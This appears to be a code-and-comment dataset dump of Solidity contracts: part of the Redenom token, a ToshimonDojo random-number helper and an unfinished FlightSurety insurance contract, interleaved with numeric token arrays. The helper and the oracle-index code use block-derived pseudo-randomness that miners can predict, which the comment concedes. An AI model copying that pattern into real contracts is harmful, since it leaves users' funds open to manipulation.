//Update account balance
updateAccount(to);
//fix amount
uint fixedAmount = fix_amount(amount);
renewDec( accounts[to].balance, accounts[to].balance.add(fixedAmount) );
uint team_part = (fixedAmount/100)*10;
uint dao_part = (fixedAmount/100)*30;
uint total = fixedAmount.add(team_part).add(dao_part);
epoch_fund = epoch_fund.sub(total);
team_fund = team_fund.add(team_part);
redenom_dao_fund = redenom_dao_fund.add(dao_part);
accounts[to].balance = accounts[to].balance.add(fixedAmount);
_totalSupply = _totalSupply.add(total);
emit Transfer(address(0), to, fixedAmount);
return true;
}
///////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////
// Withdraw amount from team_fund to given address
function withdraw_team_fund(address to, uint amount) public onlyOwner returns(bool success){
require(amount <= team_fund);
accounts[to].balance = accounts[to].balance.add(amount);
team_fund = team_fund.sub(amount);
return true;
}
// Withdraw amount from redenom_dao_fund to given address
function withdraw_dao_fund(address to, uint amount) public onlyOwner returns(bool success){
require(amount <= redenom_dao_fund);
accounts[to].balance = accounts[to].balance.add(amount);
redenom_dao_fund = redenom_dao_fund.sub(amount);
return true;
}
function freeze_contract() public onlyOwner returns(bool success){
require(frozen == false);
frozen = true;
return true;
}
function unfreeze_contract() public onlyOwner returns(bool success){
require(frozen == true);
frozen = false;
return true;
}
///////////////////////////////////////////////////////////////////////////////////////////////////////
// Run this on every change of user balance
// Refreshes dec[] array
// Takes initial and new ammount
// while transaction must be called for each acc.
function renewDec(uint initSum, uint newSum) internal returns(bool success){
if(round < 9){
uint tempInitSum = initSum;
uint tempNewSum = newSum;
uint cnt = 1;
while( (tempNewSum > 0 || tempInitSum > 0) && cnt <= decimals ){
uint lastInitSum = tempInitSum%10; // 0.0000000 (0)
tempInitSum = tempInitSum/10; // (0.0000000) 0
uint lastNewSum = tempNewSum%10; // 1.5556664 (5)
tempNewSum = tempNewSum/10; // (1.5556664) 5
if(cnt >= round){
if(lastNewSum >= lastInitSum){
// If new is bigger
dec[decimals-cnt] = dec[decimals-cnt].add(lastNewSum - lastInitSum);
}else{
// If new is smaller
dec[decimals-cnt] = dec[decimals-cnt].sub(lastInitSum - lastNewSum);
}
}
cnt = cnt+1;
}
}//if(round < 9){
return true;
}
////////////////////////////////////////// BITMASK /////////////////////////////////////////////////////
// Adding bit to bitmask
// checks if already set
function bitmask_add(address user, uint _bit) internal returns(bool success){ //todo privat?
require(bitmask_check(user, _bit) == false);
accounts[user].bitmask = accounts[user].bitmask.add(_bit);
return true;
}
// Removes bit from bitmask
// checks if already set
function bitmask_rm(address user, uint _bit) internal returns(bool success){
require(bitmask_check(user, _bit) == true);
accounts[user].bitmask = accounts[user].bitmask.sub(_bit);
return true;
}
// Checks whether some bit is present in BM
function bitmask_check(address user, uint _bit) internal view returns (bool status){
bool flag;
accounts[user].bitmask & _bit == 0 ? flag = false : flag = true;
return flag;
}
///////////////////////////////////////////////////////////////////////////////////////////////////////
function ban_user(address user) public onlyAdmin returns(bool success){
bitmask_add(user, 1024);
return true;
}
function unban_user(address user) public onlyAdmin returns(bool success){
bitmask_rm(user, 1024);
return true;
}
function is_banned(address user) public view onlyAdmin returns (bool result){
return bitmask_check(user, 1024);
}
///////////////////////////////////////////////////////////////////////////////////////////////////////
//Redenominates
function redenominate() public onlyAdmin returns(uint current_round){
require(frozen == false);
require(round<9); // Round must be < 9
// Deleting funds rest from TS
_totalSupply = _totalSupply.sub( team_fund%mul[round] ).sub( redenom_dao_fund%mul[round] ).sub( dec[8-round]*mul[round-1] );
// Redenominating 3 vars: _totalSupply team_fund redenom_dao_fund
_totalSupply = ( _totalSupply / mul[round] ) * mul[round];
team_fund = ( team_fund / mul[round] ) * mul[round]; // Redenominates team_fund
redenom_dao_fund = ( redenom_dao_fund / mul[round] ) * mul[round]; // Redenominates redenom_dao_fund
if(round>1){
// decimals burned in last round and not distributed
uint superold = dec[(8-round)+1];
// Returning them to epoch_fund
epoch_fund = epoch_fund.add(superold * mul[round-2]);
dec[(8-round)+1] = 0;
}
if(round<8){ // if round between 1 and 7
uint unclimed = dec[8-round]; // total sum of burned decimal
//[23,32,43,34,34,54,34, ->46<- ]
uint total_current = dec[8-1-round]; // total sum of last active decimal
//[23,32,43,34,34,54, ->34<-, 46]
// security check
if(total_current==0){
current_toadd = [0,0,0,0,0,0,0,0,0];
round++;
return round;
}
// Counting amounts to add on every digit
uint[9] memory numbers =[uint(1),2,3,4,5,6,7,8,9]; //
uint[9] memory ke9 =[uint(0),0,0,0,0,0,0,0,0]; //
uint[9] memory k2e9 =[uint(0),0,0,0,0,0,0,0,0]; //
uint k05summ = 0;
for (uint k = 0; k < ke9.length; k++) {
ke9[k] = numbers[k]*1e9/total_current;
if(k<5) k05summ += ke9[k];
}
for (uint k2 = 5; k2 < k2e9.length; k2++) {
k2e9[k2] = uint(ke9[k2])+uint(k05summ)*uint(weight[k2])/uint(100);
}
for (uint n = 5; n < current_toadd.length; n++) {
current_toadd[n] = k2e9[n]*unclimed/10/1e9;
}
// current_toadd now contains all digits
}else{
if(round==8){
// Returns last burned decimals to epoch_fund
epoch_fund = epoch_fund.add(dec[0] * 10000000); //1e7
dec[0] = 0;
}
}
round++;
emit Redenomination(round);
return round;
}
// Refresh user acc
// Pays dividends if any
function updateAccount(address account) public returns(uint new_balance){
require(frozen == false);
require(round<=9);
require(bitmask_check(account, 1024) == false); // banned == false
if(round > accounts[account].lastRound){
if(round >1 && round <=8){
// Splits user bal by current multiplier
uint tempDividedBalance = accounts[account].balance/current_mul();
// [1.5556663] 4 (r2)
uint newFixedBalance = tempDividedBalance*current_mul();
// [1.55566630] (r2)
uint lastActiveDigit = tempDividedBalance%10;
// 1.555666 [3] 4 (r2)
uint diff = accounts[account].balance - newFixedBalance;
// 1.5556663 [4] (r2)
if(diff > 0){
accounts[account].balance = newFixedBalance;
emit Transfer(account, address(0), diff);
}
uint toBalance = 0;
if(lastActiveDigit>0 && current_toadd[lastActiveDigit-1]>0){
toBalance = current_toadd[lastActiveDigit-1] * current_mul();
}
if(toBalance > 0 && toBalance < dec[8-round+1]){ // Not enough
renewDec( accounts[account].balance, accounts[account].balance.add(toBalance) );
emit Transfer(address(0), account, toBalance);
// Refreshing dec arr
accounts[account].balance = accounts[account].balance.add(toBalance);
// Adding to ball
dec[8-round+1] = dec[8-round+1].sub(toBalance);
// Taking from burned decimal
_totalSupply = _totalSupply.add(toBalance);
// Add dividend to _totalSupply
}
accounts[account].lastRound = round;
// Writting last round in wich user got dividends
return accounts[account].balance;
// returns new balance
}else{
if( round == 9){ //100000000 = 9 mul (mul8)
uint newBalance = fix_amount(accounts[account].balance);
uint _diff = accounts[account].balance.sub(newBalance);
if(_diff > 0){
renewDec( accounts[account].balance, newBalance );
accounts[account].balance = newBalance;
emit Transfer(account, address(0), _diff);
}
accounts[account].lastRound = round;
// Writting last round in wich user got dividends
return accounts[account].balance;
// returns new balance
}
}
}
}
// Returns current multipl. based on round
// Returns current multiplier based on round
function current_mul() internal view returns(uint _current_mul){
return mul[round-1];
}
// Removes burned values 123 -> 120
// Returns fixed
function fix_amount(uint amount) public view returns(uint fixed_amount){
return ( amount / current_mul() ) * current_mul();
}
// Returns rest
function get_rest(uint amount) internal view returns(uint fixed_amount){
return amount % current_mul();
}
// ------------------------------------------------------------------------
// ERC20 totalSupply:
//-------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply;
}
// ------------------------------------------------------------------------
// ERC20 balanceOf: Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return accounts[tokenOwner].balance;
}
// ------------------------------------------------------------------------
// ERC20 allowance:
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// ERC20 transfer:
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
require(frozen == false);
require(to != address(0));
require(bitmask_check(to, 1024) == false); // banned == false
//Fixing amount, deleting burned decimals
tokens = fix_amount(tokens);
// Checking if greater then 0
require(tokens>0);
//Refreshing accs, payng dividends
updateAccount(to);
updateAccount(msg.sender);
uint fromOldBal = accounts[msg.sender].balance;
uint toOldBal = accounts[to].balance;
accounts[msg.sender].balance = accounts[msg.sender].balance.sub(tokens);
accounts[to].balance = accounts[to].balance.add(tokens);
require(renewDec(fromOldBal, accounts[msg.sender].balance));
require(renewDec(toOldBal, accounts[to].balance));
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// ERC20 approve:
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
require(frozen == false);
require(bitmask_check(msg.sender, 1024) == false); // banned == false
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// ERC20 transferFrom:
// Transfer `tokens` from the `from` account to the `to` account
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(frozen == false);
require(bitmask_check(to, 1024) == false); // banned == false
updateAccount(from);
updateAccount(to);
uint fromOldBal = accounts[from].balance;
uint toOldBal = accounts[to].balance;
accounts[from].balance = accounts[from].balance.sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
accounts[to].balance = accounts[to].balance.add(tokens);
require(renewDec(fromOldBal, accounts[from].balance));
require(renewDec(toOldBal, accounts[to].balance));
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
require(frozen == false);
require(bitmask_check(msg.sender, 1024) == false); // banned == false
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH https://github.com/ConsenSys/Ethereum-Development-Best-Practices/wiki/Fallback-functions-and-the-fundamental-limitations-of-using-send()-in-Ethereum-&-Solidity
// ------------------------------------------------------------------------
function () public payable {
revert();
} // OR function() payable { } to accept ETH
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
require(frozen == false);
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} // © Musqogees Tech 2018, Redenom ™ | ------------------------------------------------------------------------ ERC20 allowance: Returns the amount of tokens approved by the owner that can be transferred to the spender's account ------------------------------------------------------------------------ | function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
| 2,274,775 | [
1,
29461,
4232,
39,
3462,
1699,
1359,
30,
2860,
326,
3844,
434,
2430,
20412,
635,
326,
3410,
716,
848,
506,
906,
4193,
358,
326,
17571,
264,
10,
5520,
31,
87,
2236,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1699,
1359,
12,
2867,
1147,
5541,
16,
1758,
17571,
264,
13,
1071,
5381,
1135,
261,
11890,
4463,
13,
288,
203,
3639,
327,
2935,
63,
2316,
5541,
6362,
87,
1302,
264,
15533,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/4/0xC7bDA901a7651CF596f577275bDd4865F91582Ac/sources/browser/ToshimonDojo.sol | This is a pseudo random function, but considering the fact that redeem function is not callable by contract, and the fact that ToshiCoin is not transferable, this should be enough to protect us from an attack I would only expect a miner to be able to exploit this, and the attack cost would not be worth it in our case | function _rng() internal returns (uint256) {
bytes32 ret = keccak256(prevHash);
prevHash = abi.encodePacked(ret,block.coinbase,msg.sender);
return uint256(ret);
}
| 670,058 | [
1,
2503,
353,
279,
12454,
2744,
445,
16,
1496,
24453,
326,
5410,
716,
283,
24903,
445,
353,
486,
4140,
635,
6835,
16,
471,
326,
5410,
716,
399,
538,
12266,
27055,
353,
486,
7412,
429,
16,
333,
1410,
506,
7304,
358,
17151,
584,
628,
392,
13843,
467,
4102,
1338,
4489,
279,
1131,
264,
358,
506,
7752,
358,
15233,
305,
333,
16,
471,
326,
13843,
6991,
4102,
486,
506,
26247,
518,
316,
3134,
648,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
389,
86,
3368,
1435,
2713,
1135,
261,
11890,
5034,
13,
288,
203,
565,
1731,
1578,
325,
273,
417,
24410,
581,
5034,
12,
10001,
2310,
1769,
203,
565,
2807,
2310,
273,
24126,
18,
3015,
4420,
329,
12,
1349,
16,
2629,
18,
12645,
1969,
16,
3576,
18,
15330,
1769,
203,
565,
327,
2254,
5034,
12,
1349,
1769,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.25;
// It's important to avoid vulnerabilities due to numeric overflow bugs
// OpenZeppelin's SafeMath library, when used correctly, protects agains such bugs
// More info: https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/november/smart-contract-insecurity-bad-arithmetic/
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
/************************************************** */
/* FlightSurety Smart Contract */
/************************************************** */
contract FlightSuretyApp {
using SafeMath for uint256; // Allow SafeMath functions to be called for all uint256 types (similar to "prototype" in Javascript)
using SafeMath for uint8;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
uint256 private constant AIRLINE_NO_CONSENT_THRESHOLD = 4; // 5th airline will need consensus
uint256 public constant AIRLINE_FEE_IN_ETH = 10 ether;
uint256 public constant INSURANCE_FEE = 1 ether;
uint256 private constant INSURANCE_PAYOUT_MULTIPLY = 3;
uint256 private constant INSURANCE_PAYOUT_DIVISOR = 2;
// Flight status codees
uint8 private constant STATUS_CODE_UNKNOWN = 0;
uint8 private constant STATUS_CODE_ON_TIME = 10;
uint8 private constant STATUS_CODE_LATE_AIRLINE = 20;
uint8 private constant STATUS_CODE_LATE_WEATHER = 30;
uint8 private constant STATUS_CODE_LATE_TECHNICAL = 40;
uint8 private constant STATUS_CODE_LATE_OTHER = 50;
address private contractOwner; // Account used to deploy contract
struct Consensus {
uint256 votes;
mapping (address => bool) voters;
}
mapping(address => Consensus) private applications;
uint256 private pendingApplicationsCount = 0;
IFlightSuretyData private flightSuretyData;
event DidRegisterOracle(address oracle, uint8[3] indexes);
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
// Modify to call data contract's status
require(isOperational(), "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
modifier requireIsFirstVoteOnApplicant(address needle) {
require(!applications[needle].voters[msg.sender], "Multiple votes are not permitted");
_;
}
modifier requireIsRegistered(address needle) {
require(flightSuretyData.isRegistered(needle), "Airline not registered");
_;
}
modifier requireNotRegistered(address needle) {
require(!flightSuretyData.isRegistered(needle), "Airline is registered");
_;
}
modifier requireIsFunded(address needle) {
require(flightSuretyData.isFunded(needle), "Airline not funded");
_;
}
modifier requireIsApplicant(address needle) {
require(applications[needle].votes > 0, "Airline not an applicant");
_;
}
modifier requireConsensusNeccessary() {
require(flightSuretyData.getRegisteredAirlineCount() >= AIRLINE_NO_CONSENT_THRESHOLD, "Consensus not neccessary; Invalid state.");
_;
}
modifier requireNotYetFunded(address needle) {
require(!flightSuretyData.isFunded(needle), "Airline already funded");
_;
}
modifier refund(uint256 price) {
require(msg.value >= price, "Insufficient Funds.");
_;
uint256 rest = msg.value - price;
msg.sender.transfer(rest);
}
/********************************************************************************************/
/* CONSTRUCTOR */
/********************************************************************************************/
/**
* @dev Contract constructor
*
*/
constructor(address dataAddress) public payable {
contractOwner = msg.sender;
flightSuretyData = IFlightSuretyData(dataAddress);
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
function isOperational() public view returns(bool) {
return flightSuretyData.isOperational(); // Modify to call data contract's status
}
function isValidFlightStatus(uint8 status) private returns(bool) {
return (status == STATUS_CODE_UNKNOWN || status == STATUS_CODE_ON_TIME || status == STATUS_CODE_LATE_OTHER || status == STATUS_CODE_LATE_AIRLINE || status == STATUS_CODE_LATE_WEATHER || status == STATUS_CODE_LATE_TECHNICAL);
}
function creditableStatus(uint8 status) private returns(bool) {
return status == STATUS_CODE_LATE_AIRLINE;
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
function fundAirline(address airline) requireIsOperational requireIsRegistered(airline) requireNotYetFunded(airline) refund(AIRLINE_FEE_IN_ETH) external payable {
address(flightSuretyData).transfer(AIRLINE_FEE_IN_ETH);
flightSuretyData.fundAirline(airline, AIRLINE_FEE_IN_ETH);
}
/**
* @dev Add an airline to the registration queue
*
*/
function registerAirline(address applicant) external requireIsOperational requireNotRegistered(applicant) requireIsFunded(msg.sender) requireIsRegistered(msg.sender) {
if (flightSuretyData.getRegisteredAirlineCount() < AIRLINE_NO_CONSENT_THRESHOLD) {
flightSuretyData.registerAirline(applicant);
} else {
proposeAirline(applicant);
}
}
function proposeAirline(address applicant) private requireIsOperational requireNotRegistered(applicant) requireIsFunded(msg.sender) {
uint256 votes = 1;
applications[applicant] = Consensus(votes);
applications[applicant].voters[msg.sender] = true;
pendingApplicationsCount = pendingApplicationsCount.add(1);
}
function vote(address applicant) external requireIsOperational requireConsensusNeccessary requireIsApplicant(applicant) requireIsRegistered(msg.sender) requireIsFunded(msg.sender) requireIsFirstVoteOnApplicant(applicant) {
applications[applicant].votes = applications[applicant].votes.add(1);
applications[applicant].voters[msg.sender] = true;
uint256 requiredVotes = (flightSuretyData.getFundedAirlineCount() / 2) + 1;
if (applications[applicant].votes >= requiredVotes) {
flightSuretyData.registerAirline(applicant);
}
}
function getAllFundedAirlines() external view requireIsOperational returns (address[]) {
return flightSuretyData.getAllFundedAirlines();
}
/**
* @dev Register a future flight for insuring.
*
*/
function registerFlight(uint256 time, string flightNo) external requireIsRegistered(msg.sender) requireIsFunded(msg.sender) {
flightSuretyData.registerFlight(time, flightNo, msg.sender, STATUS_CODE_ON_TIME);
}
function getFlightStatus(address airline, string flightNo, uint256 time) external returns (uint8) {
uint8 status = flightSuretyData.getFlightStatus(airline, flightNo, time);
require(isValidFlightStatus(status), "Invalid flight status");
return status;
}
function buy(address airline, string flight, uint256 time) requireIsOperational refund(INSURANCE_FEE) external payable {
bytes32 key = getFlightKey(airline, flight, time);
require(!flightSuretyData.isAlreadyInsured(msg.sender, key));
address(flightSuretyData).transfer(INSURANCE_FEE);
flightSuretyData.buy(msg.sender, key);
}
function claim() external {
flightSuretyData.claim(msg.sender);
}
function isAlreadyInsured(address insuree, address airline, string flight, uint256 time) requireIsOperational external view returns(bool) {
bytes32 key = getFlightKey(airline, flight, time);
return flightSuretyData.isAlreadyInsured(insuree, key);
}
/**
* @dev Called after oracle has updated flight status
*
*/
function processFlightStatus(address airline, string memory flight, uint256 timestamp, uint8 statusCode) requireIsOperational private {
require(isValidFlightStatus(statusCode), "Invalid flight status");
flightSuretyData.updateFlightStatus(airline, flight, timestamp, statusCode);
if (creditableStatus(statusCode)) {
uint256 credit = (INSURANCE_FEE * INSURANCE_PAYOUT_MULTIPLY) / INSURANCE_PAYOUT_DIVISOR;
flightSuretyData.credit(airline, flight, timestamp, credit);
}
}
// Generate a request for oracles to fetch flight information
function fetchFlightStatus(address airline, string flight, uint256 timestamp) external {
uint8 index = getRandomIndex(msg.sender);
// Generate a unique key for storing the request
bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp));
oracleResponses[key] = ResponseInfo({ requester: msg.sender, isOpen: true });
emit OracleRequest(index, airline, flight, timestamp);
}
// region ORACLE MANAGEMENT
// Incremented to add pseudo-randomness at various points
uint8 private nonce = 0;
// Fee to be paid when registering oracle
uint256 public constant REGISTRATION_FEE = 1 ether;
// Number of oracles that must respond for valid status
uint256 private constant MIN_RESPONSES = 3;
struct Oracle {
bool isRegistered;
uint8[3] indexes;
}
// Track all registered oracles
mapping(address => Oracle) private oracles;
// Model for responses from oracles
struct ResponseInfo {
address requester; // Account that requested status
bool isOpen; // If open, oracle responses are accepted
mapping(uint8 => address[]) responses; // Mapping key is the status code reported
// This lets us group responses and identify
// the response that majority of the oracles
}
// Track all oracle responses
// Key = hash(index, flight, timestamp)
mapping(bytes32 => ResponseInfo) private oracleResponses;
// Event fired each time an oracle submits a response
event FlightStatusInfo(address airline, string flight, uint256 timestamp, uint8 status);
event OracleReport(address airline, string flight, uint256 timestamp, uint8 status);
// Event fired when flight status request is submitted
// Oracles track this and if they have a matching index
// they fetch data and submit a response
event OracleRequest(uint8 index, address airline, string flight, uint256 timestamp);
// Register an oracle with the contract
function registerOracle() refund(REGISTRATION_FEE) external payable {
// Require registration fee
uint8[3] memory indexes = generateIndexes(msg.sender);
Oracle memory oracle = Oracle(true, indexes);
address(this).transfer(REGISTRATION_FEE);
oracles[msg.sender] = oracle;
emit DidRegisterOracle(msg.sender, indexes);
}
function getMyIndexes() view external returns(uint8[3]) {
require(oracles[msg.sender].isRegistered, "Not registered as an oracle");
return oracles[msg.sender].indexes;
}
// Called by oracle when a response is available to an outstanding request
// For the response to be accepted, there must be a pending request that is open
// and matches one of the three Indexes randomly assigned to the oracle at the
// time of registration (i.e. uninvited oracles are not welcome)
function submitOracleResponse(uint8 index, address airline, string flight, uint256 timestamp, uint8 statusCode) external {
require((oracles[msg.sender].indexes[0] == index) || (oracles[msg.sender].indexes[1] == index) || (oracles[msg.sender].indexes[2] == index), "Index does not match oracle request");
bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp));
require(oracleResponses[key].isOpen, "Flight or timestamp do not match oracle request");
oracleResponses[key].responses[statusCode].push(msg.sender);
// Information isn't considered verified until at least MIN_RESPONSES
// oracles respond with the *** same *** information
emit OracleReport(airline, flight, timestamp, statusCode);
if (oracleResponses[key].responses[statusCode].length >= MIN_RESPONSES) {
emit FlightStatusInfo(airline, flight, timestamp, statusCode);
// Handle flight status as appropriate
processFlightStatus(airline, flight, timestamp, statusCode);
}
}
function getFlightKey(address airline, string flight, uint256 timestamp) pure internal returns(bytes32) {
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
// Returns array of three non-duplicating integers from 0-9
function generateIndexes(address account) internal returns(uint8[3]) {
uint8[3] memory indexes;
indexes[0] = getRandomIndex(account);
indexes[1] = indexes[0];
while(indexes[1] == indexes[0]) {
indexes[1] = getRandomIndex(account);
}
indexes[2] = indexes[1];
while((indexes[2] == indexes[0]) || (indexes[2] == indexes[1])) {
indexes[2] = getRandomIndex(account);
}
return indexes;
}
// Returns array of three non-duplicating integers from 0-9
